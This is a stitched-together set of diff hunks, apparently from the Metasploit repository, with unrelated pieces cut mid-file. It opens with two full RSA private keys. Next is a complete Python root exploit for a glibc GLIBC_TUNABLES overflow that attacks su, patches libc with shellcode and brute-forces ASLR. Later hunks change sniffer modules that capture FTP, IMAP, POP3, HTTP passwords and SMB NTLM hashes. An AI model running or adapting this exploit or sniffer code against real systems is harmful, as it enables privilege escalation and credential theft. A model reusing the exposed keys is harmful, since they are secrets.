U4cax94nKfMVfXOlPY4gCxDNX2LmvQm6Dc9nXywqoK72M4yooKQ621n4U+o5WPcZ
Mvg75rYJN/d+J0NrYtfTejwThYp6XBd9B41IUQIDAQABAoIBAGJjifmrFsaHqz8i
UiVK2XGsf4567qDQHokEqCSCJgwJLIK7EK7JeoV8k6d8jYrrWhlPboth0bP0r5HR
Qj2AJobjxnqKV0fp0N92EIEmuAeqmreZMK7EWjQg1w1hKK+sit8CgEA3MN6Iv7mI
g8o91QIlYE3fqRNdR0WgWOfa60fSWBmblw/zy9trEN8SYVTV4IKxYGtZzxw3Ka4P
w23d0Vq0lB4iYjiaLXWwlsDBerUM/SVDck6k5EDmxmTD5s3edm0CGsxesaxxG/8w
mUU03IQ5rBuhdhhvrqnvQMrvWFXPRRFmFEpyQ0UxNSXZNIWAiw3CdFBHxGDI7PkR
lwstaeECgYEA1sYMIkFauOYM6ff1MCFbWtz7YHv15zuaAvaRLQqZ+gn3wsgRTJTl
CgYSdWCf74Sk3cUBdS6M4xqoEZAMzNIYV/HNj8F89m6+HE6r18cFhXzKQGq2FbgK
p4CDe6p5Sv4gl9H8lqqH46/TVipxSrxr68bSrwdQyPGU+laEpbQ8PKUCgYEAwDaZ
e4cUARkADJ6E8JJvHUxaQfbAG3S7v9aOP371teFO1wgF2D9OsGWSPVuQwYb5Zfaf
aUu3UjV1CSU13dFDOkWXAGM6ZmgubF4TW95+yS1w7rJlZYjTbxE2Ew8fyEFrEHK9
eREsouTEcLS/nSBqUut847EitHRmgE2ymHNWcT0CgYAFCyOPzl8WBnj5KZR9a9sc
WCIjEuYkZvbn6Ohh2WTiRUenMFGPrdNvF9NpJDq9Qi0o9A5jtRMj5iVaPDrAuJJP
xmLgZFfN5a3bNlG8wHS1vMd3Gcpq2iaN5muwBMHSbANR7WF0HE8Snrdkx5xfd+tE
3ydlatOP1HR+KHf2+DON7QKBgQCwhnRWuitpBqjA7iRxPErHwYNy6UZs8Lws5sMl
FVhbfVyGp1uWyi1eWyn/J8S9t1P8jI7CiUMHQQkHKSFbYgA32Alh1b+gpTVdWNi2
mpQd9pms3jG5Gfv0GP5saotpwoqtRHM2aMtxnl+6koUXrNl45cSA6AFTcUNhufm3
gNV2kQKBgBXOVa2ntVpqCng6pecJICknw6Dr6/H6YE01Ks7sXaHwD5bupkokxnFW
JcVtJFNGUbLJHowG1rt6B1/w2IXpZZB2P4hQi+9033PxT+C+B13VaMkWTu+KbUhv
Ji18eBNs+D3YHrR6sMyprth65c+GszaC/ZqyHxitP3UQhic41y+9
-----END RSA PRIVATE KEY-----
@@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpgIBAAKCAQEA99Bv5dUKWoLUuE2CRiri7LazYVFqH09vOZwBXPc61arFiZaI
IrdqMxrkQ1AuBSfMVjSdOFYcgXF7FQmHe0YFCJrJFvc3xKbQQFFZHRiWfDggSNDq
yt9T7xeb2suk3MI6jVT7Q/txnDZGSY9jDIwGDYygQ+VNBX+4A6A22XNZM4apdEx1
Y5jiuty7wqoQeYZ9Syb5ge7EErClM+DmpIquqURHHtlAxidi3d9PKLSgWywkuXhQ
kY9NxigdqX5p5fmeEdvCOoB0rimqpnQD6rOzkTyr7cEklyYeUtZH0nG53dZopAP4
RYeCq1ckGzfVGKc1USE66zEUFhRJTc341/sbmQIDAQABAoIBAQDLawmvO2U4TtSW
ROl+9402ifJNHCtkcCv4uhpUWYyt/3QPMMWm2bAPKy/cIWDlUnnk+WNk7yqPBrvl
1OClTCCto4EVnPDmN5gSc7QWsiw04018+CEDTrbzOAnzW96EZ9rwUKXAdBIaDGM9
1rmTfw0o6hpUIVFMBj7imwzrCkhahb3cRjOaPWn2HLQhVuExMx4XlcWHTlBAXQWB
czeci/KY88loE96cn9YFP4ADF98L6vgi4WY3oXK7Jwv638IYUyksb4RTJirDXcuc
yEZXMCzFkrzAhlZIX7ZgFULM9qgD17g9PaRmiYa3o7eUJ0d0Yq3Wnt2CnWDz+t9x
wnAM5XABAoGBAP/oNgi5pNh+sSP/V/CjQ46+q81pBNMYauaTcFG14yY9oSgH2rtS
j1Shvu9AHd4YskUiMs+6/6hNXkXwEClBwr5W5dxZixQYIu8tjVd3OoESvHg6VgUE
1WTRuzX9rCQ/jCmE2+zr5JBnjzDBOKDvqicfrmGPLyC1iqIpYkxiBuKBAoGBAPfn
eUXtAh/0wf7nOavqCYapn8pAwSu03YAzGZs74YlF0pVMCdCxrJAHTCYbOOM/hB0o
8CVLZhT+ibzDBobhNxOB0IdlX0wY421vobIH5Thn2gQ2XRmtRztv9QFWG1nWQPno
BcE1XawnXpPHL7TbQksxmPmsb2wb3FfXCO5htn0ZAoGBAN0klB0yICweP4H2FM6U
p7rhNqIJkOvC/A5JdxSFc8gGFg/7yZ97FvVx2Qfzhlv5R4TKqtIsrOWKBl+1tqGQ
fHPzsCudDbzNptK9sJjXJa2IvWnAL7mila3MOFXN40Zny/3NHCg/KYNImsrtDry0
n3uzuwP/siA4AZdk39dWFtEBAoGBAKqvWkV1+QeNmuBpzcB7JFHuilFUImx4XCW/
iTrjkNbWFzaqIvvoyTple92k0pdMjScSn73d2wxLcQRhdyX4/NXWhIAkoOehHz2j
Jb6RRxZ+EpLh51odfzUCUbu40J4bMaOfSA8OMk+sz6aJ92PbrxpcrMoDGrhhumVU
bhbLej1JAoGBAJzpodByDrSqmPSb8S5iRUiaJRTlg7BFIAo9+rmEqbl9pW4dFZQm
kKNljx0zaJAqfqaPCi9WQLARXtYhBZbpUnhAsB89yjO4T0LFMhh2jAoJYZuOMnK9
S8O/Gb4TUWDP6kGOmF9X2Wcc1FSyydmGHqR6OO3h1UdrhENNN3SSpshx
-----END RSA PRIVATE KEY-----
@@ -0,0 +1,312 @@
import binascii
import os
import resource
import time
import struct
import sys
from ctypes import *
from ctypes.util import find_library
from shutil import which
TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging="
STRING_TABLE_INDEX = "shstrndx"
NUMBER_OF_ENTRIES = "shnum"
ENTRY_SIZE = "shentsize"
ENTRY_KEYS = "name type flags addr offset size link info addralign entsize"
HEADER_ENTRY_FORMAT_64_BIT = "<LLQQQQLLQQ"
HEADER_ENTRY_FORMAT_32_BIT = "<LLLLLLLLLL"
GNU_BUILD_ID = ".note.gnu.build-id"
LIBC_START_MAIN = "__libc_start_main"
DYNAMIC_SYMBOL = ".dynsym"
DYNAMIC_STRING = ".dynstr"
SYMBOL_STRUCTURE_KEYS_64_BIT = "name info other shndx value size"
SYMBOL_STRUCTURE_FORMAT_64_BIT = "<LBBHQQ"
SYMBOL_STRUCTURE_KEYS_32_BIT = "name value size info other shndx"
SYMBOL_STRUCTURE_FORMAT_32_BIT = "<LLLBBH"
ELF_HEADER_KEYS = f"type machine version entry phoff shoff flags ehsize phtentsize phnum {ENTRY_SIZE} {NUMBER_OF_ENTRIES} {STRING_TABLE_INDEX}"
ELF_ENTRY_FORMAT_64_BIT = "<HHLQQQLHHHHHH"
ELF_ENTRY_FORMAT_32_BIT = "<HHLLLLLHHHHHH"
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
TARGETS = {
"i686": {
"shellcode": unhex(
"METASPLOIT_SHELL_CODE"
),
"exitcode": unhex("6a665b6a0158cd80"),
"stack_top": 0xC0000000,
"stack_aslr_bits": 23,
},
"x86_64": {
"shellcode": unhex(
"METASPLOIT_SHELL_CODE"
),
"exitcode": unhex("6a665f6a3c580f05"),
"stack_top": 0x800000000000,
"stack_aslr_bits": 34,
},
"aarch64": {
"shellcode": unhex(
"METASPLOIT_SHELL_CODE"
),
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
"stack_top": 0x1000000000000,
"stack_aslr_bits": 30,
},
}
# Magic offsets for build IDs can be found for versions of glibc by disabling ASLR and using the original PoC: https://haxx.in/files/gnu-acme.py
BUILD_IDS = METASPLOIT_BUILD_IDS
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
resource.setrlimit(
resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
)
def find_path_before_null_character(blob_data, start_offset):
current_position = start_offset
while current_position > 0:
current_byte = blob_data[current_position]
next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None
if current_byte != 0 and current_byte != 0x2F and next_byte == 0:
path_byte = bytes([current_byte])
offset_from_start = current_position - start_offset
return {"path": path_byte, "offset": offset_from_start}
current_position -= 1
return None
def parse_structured_data(structure_format, structure_keys, structure_data):
unpacked_data = struct.unpack(structure_format, structure_data)
parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data))
return parsed_structure
def fetch_c_library_path():
class LoadedLibrary(Structure):
_fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
libc_library = CDLL(find_library("c"))
dl_library = CDLL(find_library("dl"))
dl_info_function = dl_library.dlinfo
dl_info_function.argtypes = c_void_p, c_int, c_void_p
dl_info_function.restype = c_int
link_map_ptr = c_void_p()
dl_info_function(libc_library._handle, 2, byref(link_map_ptr))
return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name
def execute_process(executable_path, arguments_list, environment_variables):
libc.execve(executable_path, arguments_list, environment_variables)
def execute_and_monitor(executable, arguments, environment):
argument_pointers = (c_char_p * len(arguments))(*arguments)
environment_pointers = (c_char_p * len(environment))(*environment)
child_pid = os.fork()
if not child_pid:
execute_process(executable, argument_pointers, environment_pointers)
exit(0)
start_time = time.time()
while True:
try:
pid, status = os.waitpid(child_pid, os.WNOHANG)
if pid == child_pid:
if os.WIFEXITED(status):
return os.WEXITSTATUS(status) & 0xFF7F
else:
return 0
except:
pass
current_time = time.time()
if current_time - start_time >= 1.5:
os.waitpid(child_pid, 0)
return "Success"
class DelayedElfParser:
def __init__(self, filename):
self.data = open(filename, "rb").read()
self.architecture = 64 if self.data[4] == 2 else 32
elf_header_size = 0x30 if self.architecture == 64 else 0x24
self.header = parse_structured_data(
ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT,
ELF_HEADER_KEYS,
self.data[0x10: 0x10 + elf_header_size],
)
section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX])
self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]]
def extract_section_header(self, index):
header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE])
entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT
return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]])
def extract_section_header_by_name(self, section_name):
encoded_name = section_name.encode()
for section_index in range(self.header[NUMBER_OF_ENTRIES]):
section_header = self.extract_section_header(section_index)
section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0]
if section_name_data == encoded_name:
return section_header
return None
def extract_section_by_name(self, section_name):
section_header = self.extract_section_header_by_name(section_name)
if section_header:
start_offset = section_header["offset"]
end_offset = start_offset + section_header["size"]
return self.data[start_offset:end_offset]
return None
def extract_symbol_value(self, symbol_name):
encoded_name = symbol_name.encode()
dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL)
dynamic_string = self.extract_section_by_name(DYNAMIC_STRING)
symbol_entry_size = 24 if self.architecture == 64 else 16
for entry_index in range(len(dynamic_symbol) // symbol_entry_size):
entry_start = entry_index * symbol_entry_size
if self.architecture == 64:
symbol_entry = parse_structured_data(
SYMBOL_STRUCTURE_FORMAT_64_BIT,
SYMBOL_STRUCTURE_KEYS_64_BIT,
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
)
else:
symbol_entry = parse_structured_data(
SYMBOL_STRUCTURE_FORMAT_32_BIT,
SYMBOL_STRUCTURE_KEYS_32_BIT,
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
)
entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0]
if entry_name == encoded_name:
return symbol_entry["value"]
return None
def create_environment(adjustment, address, offset, bits=64):
if bits == 64:
environment = [
TUNABLES_MISCONFIG + b"P" * adjustment,
TUNABLES_MISCONFIG + b"X" * 8,
TUNABLES_MISCONFIG + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
padding = 172
fill = 47
else:
environment = [
TUNABLES_MISCONFIG + b"P" * adjustment,
TUNABLES_MISCONFIG + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
]
padding = 87
fill = 47 * 2
for j in range(padding):
environment.append(b"")
if bits == 64:
environment.append(struct.pack("<Q", address))
environment.append(b"")
else:
environment.append(struct.pack("<L", address))
for _ in range(384):
environment.append(b"")
for _ in range(fill):
if bits == 64:
environment.append(
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
)
else:
environment.append(
struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7
)
environment.append(None)
return environment
def error_and_exit(error_msg):
print("Error: %s" % error_msg)
exit(-1)
if __name__ == "__main__":
architecture = os.uname().machine
if architecture not in TARGETS.keys():
error_and_exit("This target's architecture '%s' is not supported by this exploit" % architecture)
c_library_path = fetch_c_library_path()
su_binary_path = which("su")
memory_alignment = ((0x100 - (len(su_binary_path) + 1 + 8)) & 7) + 8
su_binary_elf = DelayedElfParser(su_binary_path)
dynamic_linker_path = su_binary_elf.extract_section_by_name(".interp").strip(b"\x00").decode('utf-8')
dynamic_linker_elf = DelayedElfParser(dynamic_linker_path)
dynamic_linker_build_id = binascii.hexlify(
dynamic_linker_elf.extract_section_by_name(GNU_BUILD_ID)[-20:]).decode()
if dynamic_linker_build_id not in BUILD_IDS.keys():
error_and_exit("The build ID found is not exploitable")
libc_elf = DelayedElfParser(c_library_path)
libc_start_main = libc_elf.extract_symbol_value(LIBC_START_MAIN)
if libc_start_main == None:
error_and_exit("The symbol in the libc ELF '__libc_start_main' could not be resolved.")
su_binary_offset = su_binary_elf.extract_section_header_by_name(".dynstr")["offset"]
potential_path = find_path_before_null_character(su_binary_elf.data, su_binary_offset)
if potential_path is None:
error_and_exit("The potential path in the su_binary could not be found.")
if not os.path.exists(potential_path["path"]):
os.mkdir(potential_path["path"])
with open(potential_path["path"] + b"/libc.so.6", "wb") as file_handle:
file_handle.write(libc_elf.data[0:libc_start_main])
file_handle.write(TARGETS[architecture]["shellcode"])
file_handle.write(libc_elf.data[libc_start_main + len(TARGETS[architecture]["shellcode"]):])
stack_address = TARGETS[architecture]["stack_top"] - (1 << (TARGETS[architecture]["stack_aslr_bits"]))
stack_address += memory_alignment
for i in range(6 if su_binary_elf.architecture == 64 else 4):
if (stack_address >> (i * 8)) & 0xFF == 0:
stack_address |= 0x10 << (i * 8)
environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"],
su_binary_elf.architecture)
count = 1
argv = [b"su", b"--help", None]
while True:
if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success":
exit(0)
count += 1
+20 -2
View File
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
when :login_fail
if(s[:user] and s[:pass])
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 5 from server",
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
s[:pass] = ""
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
when :login_pass
if(s[:user] and s[:pass])
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 230 from server",
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
# Remove it form the session objects so freeup memory
sessions.delete(s[:session])
+30 -3
View File
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
when :login_pass
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability OK reponse from server",
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
when :login_fail
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability NO response from server",
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
sessions.delete(s[:session])
when :login_bad
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability BAD response from server",
:status => Metasploit::Model::Login::Status::UNTRIED
)
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
+20 -2
View File
@@ -52,7 +52,16 @@ class SnifferPOP3 < BaseProtocolParser
s[:proto] = "tcp"
s[:name] = "pop3"
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:name],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
@@ -72,7 +81,16 @@ class SnifferPOP3 < BaseProtocolParser
s[:proto]="pop3"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:proto],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
s[:pass]=""
end
+18 -18
View File
@@ -4,7 +4,7 @@
# When db is available reports go into db
#
#Memo :
#Memo :
#FOR SMBV1
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
@@ -20,7 +20,7 @@
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
class SnifferSMB < BaseProtocolParser
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
logmessage =
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:client_host]
dst_ip = s[:host]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
when "NTLMv1" then "netntlm"
when "NTLM2_SESSION" then "netntlm"
when "NTLMv2" then "netntlmv2"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
report_cred(
:ip => dst_ip,
:port => s[:port],
:service_name => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => :nonreplayable_hash,
:jtr_format => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
report_note(
+10 -1
View File
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
end
if s[:basic_auth]
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
report_auth_info s
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => 'http',
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
:status => Metasploit::Model::Login::Status::UNTRIED
)
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
end
when nil
+188
View File
@@ -0,0 +1,188 @@
[
{
"name": "v0.7.1",
"commit": {
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
}
},
{
"name": "v0.7.0",
"commit": {
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
}
},
{
"name": "v0.6.2",
"commit": {
"sha": "b0c367cac7211117e88a55517396764036ac0552"
}
},
{
"name": "v0.6.1",
"commit": {
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
}
},
{
"name": "v0.6.0",
"commit": {
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
}
},
{
"name": "v0.5.0",
"commit": {
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
}
},
{
"name": "v0.4.0",
"commit": {
"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
}
},
{
"name": "v0.3.3",
"commit": {
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
}
},
{
"name": "v0.3.2",
"commit": {
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
}
},
{
"name": "v0.3.1",
"commit": {
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
}
},
{
"name": "v0.3.0",
"commit": {
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
}
},
{
"name": "v0.2.1",
"commit": {
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
}
},
{
"name": "v0.2.0",
"commit": {
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
}
},
{
"name": "v0.1.0",
"commit": {
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
}
},
{
"name": "v0.0.10",
"commit": {
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
}
},
{
"name": "v0.0.9",
"commit": {
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
}
},
{
"name": "v0.0.8",
"commit": {
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
}
},
{
"name": "v0.0.7",
"commit": {
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
}
},
{
"name": "v0.0.6",
"commit": {
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
}
},
{
"name": "v0.0.5",
"commit": {
"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
}
},
{
"name": "v0.0.4",
"commit": {
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
}
},
{
"name": "v0.0.3",
"commit": {
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
}
},
{
"name": "v0.0.2",
"commit": {
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
}
},
{
"name": "v0.0.1",
"commit": {
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
}
},
{
"name": "charts/kafka-ui-0.7.1",
"commit": {
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
}
},
{
"name": "charts/kafka-ui-0.7.0",
"commit": {
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
}
},
{
"name": "charts/kafka-ui-0.6.2",
"commit": {
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
}
},
{
"name": "charts/kafka-ui-0.6.1",
"commit": {
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
}
},
{
"name": "charts/kafka-ui-0.6.0",
"commit": {
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
}
},
{
"name": "charts/kafka-ui-0.5.4",
"commit": {
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
}
},
{
"name": "charts/kafka-ui-0.5.3",
"commit": {
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
}
}
]
@@ -88,6 +88,7 @@ strtab:
db 0
db 0
strtabsz equ $ - strtab
align 16
global _start
_start:
Binary file not shown.
@@ -59,3 +59,5 @@ bookingpress
paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
royal-elementor-addons
backup-backup
+17539 -2828
View File
File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -12,14 +12,14 @@ if [ "$MSF_UID" -eq "0" ]; then
else
# if the users group already exists, create a random GID, otherwise
# reuse it
if ! grep ":$MSF_GID:" /etc/group > /dev/null; then
if ! getent group $MSF_GID > /dev/null; then
addgroup -g $MSF_GID $MSF_GROUP
else
addgroup $MSF_GROUP
fi
# check if user id already exists
if ! grep ":$MSF_UID:" /etc/passwd > /dev/null; then
if ! getent passwd $MSF_UID > /dev/null; then
adduser -u $MSF_UID -D $MSF_USER -g $MSF_USER -G $MSF_GROUP $MSF_USER
# add user to metasploit group so it can read the source
addgroup $MSF_USER $METASPLOIT_GROUP
+1 -1
View File
@@ -32,7 +32,7 @@ exclude:
# just-the-docs config
mermaid_enabled: true
mermaid:
version: "9.2.2"
version: "10.8.0"
heading_anchors: true
aux_links_new_tab: true
aux_links:
@@ -93,7 +93,7 @@ One advantage that this directory structure gives us is the ability to write bet
### Shared build tasks
Because all routine module-oriented tasks will be preformed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
Because all routine module-oriented tasks will be performed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
```
rake run -- Start module, hook up stdin/stdout to JSON-RPC
@@ -115,4 +115,4 @@ At the very least, we will also need tooling to create a mostly-empty but runnab
### For classic modules
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
@@ -28,7 +28,7 @@ Difficulty: 3/5
### Enhance Sql Injection Support
Enable faster implementation of SQL injection based explot modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Enable faster implementation of SQL injection based exploit modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Difficulty: 3/5
@@ -6,7 +6,7 @@ Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://g
### Retain active status of authentication tokens
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for regstering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
